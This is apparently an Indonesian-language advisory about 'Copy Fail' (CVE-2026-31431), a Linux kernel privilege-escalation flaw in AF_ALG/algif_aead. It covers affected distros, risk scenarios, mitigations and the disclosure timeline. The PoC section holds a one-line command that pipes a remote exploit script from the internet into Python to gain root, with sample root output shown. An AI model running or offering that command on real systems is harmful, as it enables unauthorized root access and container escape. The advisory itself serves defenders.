Skrip 732 Byte Jebol Semua Linux: Celah Epik Mengendap Hampir Sepuluh Tahun

🚨 Celah epik: 732 byte menjebol semua Linux, mengendap hampir sepuluh tahun
Sebuah celah bernama"Copy Fail"pada kernel Linux (CVE-2026-31431) telah diungkap ke publik:
- 732 byteskrip Python
- 100% andal, tanpa jendela race condition atau offset kernel
- Mempengaruhi semua distro Linux(2017 hingga sekarang)
- Primitif container escape, serangan lintas tenant
- Mengendap hampir sepuluh tahun, hingga diungkap publik pada 29 April 2026
Skrip yang sama berfungsi diUbuntu, RHEL, Amazon Linux, SUSEtanpa modifikasi apa pun.
🎯 Inti Kerentanan
Cacat Logika Tunggal
Copy Fail adalahcacat logika lurus (straightline):
- Tanpa jendela race: tidak seperti sebagian besar LPE Linux yang membutuhkan race
- Tanpa offset kernel: tidak memerlukan offset spesifik kernel
- 100% andal: berhasil setiap saat
- Skrip yang sama: berfungsi di semua distro
Rantai Kerentanan
Rantai serangan Copy Fail:
- Bug logika authencesn: sebuah bug logika
- AF_ALG: melalui crypto API kernel
- splice(): pemanggilan berantai
- Penulisan page-cache 4 byte: primitif serangan akhir
- Dapat dieksploitasi hampir sepuluh tahun: dari 2017 hingga patch dirilis
📊 Cakupan Terdampak
Distro terverifikasi resmi
| Distro | Versi Kernel | Status |
|---|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws | ✅ Terverifikasi |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 | ✅ Terverifikasi |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 | ✅ Terverifikasi |
| SUSE 16 | 6.12.0-160000.9-default | ✅ Terverifikasi |
Distro lain yang terdampak
Distro berikutjuga terdampak:
- Debian
- Arch Linux
- Fedora
- Rocky Linux
- AlmaLinux
- Oracle Linux
- Linux embedded
Kesimpulan: jika kernel Anda dibangun antara 2017 dan patch—Anda terdampak.
💡 Skenario Berisiko Tinggi
| Skenario | Risiko | Dampak |
|---|---|---|
| Host Linux multi-tenant | Tinggi | Pengguna mana pun menjadi root |
| Kubernetes / klaster container | Tinggi | Serangan antar-container, antar-tenant |
| CI Runner / Build Farm | Tinggi | PR menjadi root di runner |
| Cloud SaaS yang menjalankan kode pengguna | Tinggi | Tenant menjadi host root |
| Server Linux standar | Sedang | LPE internal, bisa dirantai |
| Laptop pengguna tunggal | Rendah | Langkah eskalasi pasca-eksploitasi |
🔧 Mitigasi
Opsi 1: Perbarui kernel (direkomendasikan)
Perbarui kernel ke versi yang memuatmainline commit a664bf3d603d:
- Isi perbaikan: membatalkan optimasi in-place algif_aead tahun 2017
- Efek: halaman page-cache tidak lagi muncul di destination scatterlist yang dapat ditulis
- Status: sebagian besar distro utama telah merilis patch
Opsi 2: Nonaktifkan modul algif_aead (sementara)
# 禁用 algif_aead 模块 echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
Dampak menonaktifkan algif_aead
| Komponen | Dampak |
|---|---|
| dm-crypt / LUKS | Tidak terdampak |
| kTLS / IPsec | Tidak terdampak |
| OpenSSL / SSH | Tidak terdampak |
| Userspace AF_ALG | Mungkin terdampak |
Kesimpulan: untuk sebagian besar sistem, menonaktifkan algif_aeadtidak berdampak berarti.
Opsi 3: Blokir AF_ALG dengan seccomp
Untuk workload yang tidak tepercaya (container, sandbox, CI), blokir pembuatan socket AF_ALG melalui seccomp:
# 检查 AF_ALG 使用 lsof | grep AF_ALG ss -xa
🚀 Demo PoC
PoC kerentanan telah dipublikasikan agar defenders dapat memverifikasi sistemnya:
Jalankan cepat
$ curl https://copy.fail/exp | python3 && su # id uid=0(root) gid=1002(user) groups=1002(user)
Detail PoC
- Ukuran file: 732 byte
- Bahasa: Python 3.10+ stdlib only (os, socket, zlib)
- Target default: /usr/bin/su
- SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
Peringatan: skrip memodifikasi page cache binary setuid; perubahan tidak bertahan setelah reboot, tetapi root shell-nya nyata. Jangan jalankan di lingkungan produksi.
📅 Linimasa Pengungkapan
| Tanggal | Peristiwa |
|---|---|
| 2026-03-23 | Dilaporkan ke tim keamanan kernel Linux |
| 2026-03-24 | Konfirmasi awal |
| 2026-03-25 | Usulan dan tinjauan patch |
| 2026-04-01 | Patch masuk ke mainline |
| 2026-04-22 | CVE-2026-31431 ditetapkan |
| 2026-04-29 | Pengungkapan publik |
🔍 Penemu: Xint Code
Kerentanan ditemukan olehXint Code:
- Waktu pemindaian: sekitar 1 jam memindai Linux crypto/ subsystem
- Metode penemuan: audit kode berbasis AI
- Analisis lengkap: root cause, diagrams, operator prompt
- Temuan lain: sekaligus menemukan kerentanan berkeparahan tinggi lainnya, masih dalam koordinasi pengungkapan
Rekam jejak Xint Code
- 0-day RCE: ZeroDay Cloud, menyapu kategori database (Redis, PostgreSQL, MariaDB)
- DARPA AIxCC Top 3: finalis DARPA AI Cyber Challenge
- DEF CON CTF 9×: tim paling banyak menang dalam sejarah DEF CON CTF
📝 Kesimpulan
Copy Fail (CVE-2026-31431) adalahcelah kernel Linux kelas epik:
- 732 byte menjebol semua Linux (2017 hingga sekarang)
- 100% andal, cacat logika tunggal
- Container escape, serangan lintas tenant
- Mengendap hampir sepuluh tahun, diungkap publik pada 29 April 2026
- Skenario berisiko tinggi: host multi-tenant, klaster container, CI Runner, SaaS
- Mitigasi: perbarui kernel atau nonaktifkan algif_aead
- Penemu: Xint Code, audit kode berbasis AI
Celah epik hampir sepuluh tahun, satu skrip menjebol semua Linux.
Situs resmi kerentanan:https://copy.fail
GitHub PoC:https://github.com/theori-io/copy-fail-CVE-2026-31431
Analisis teknis:https://xint.io/blog/copy-fail-linux-distributions
Patch Kernel:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5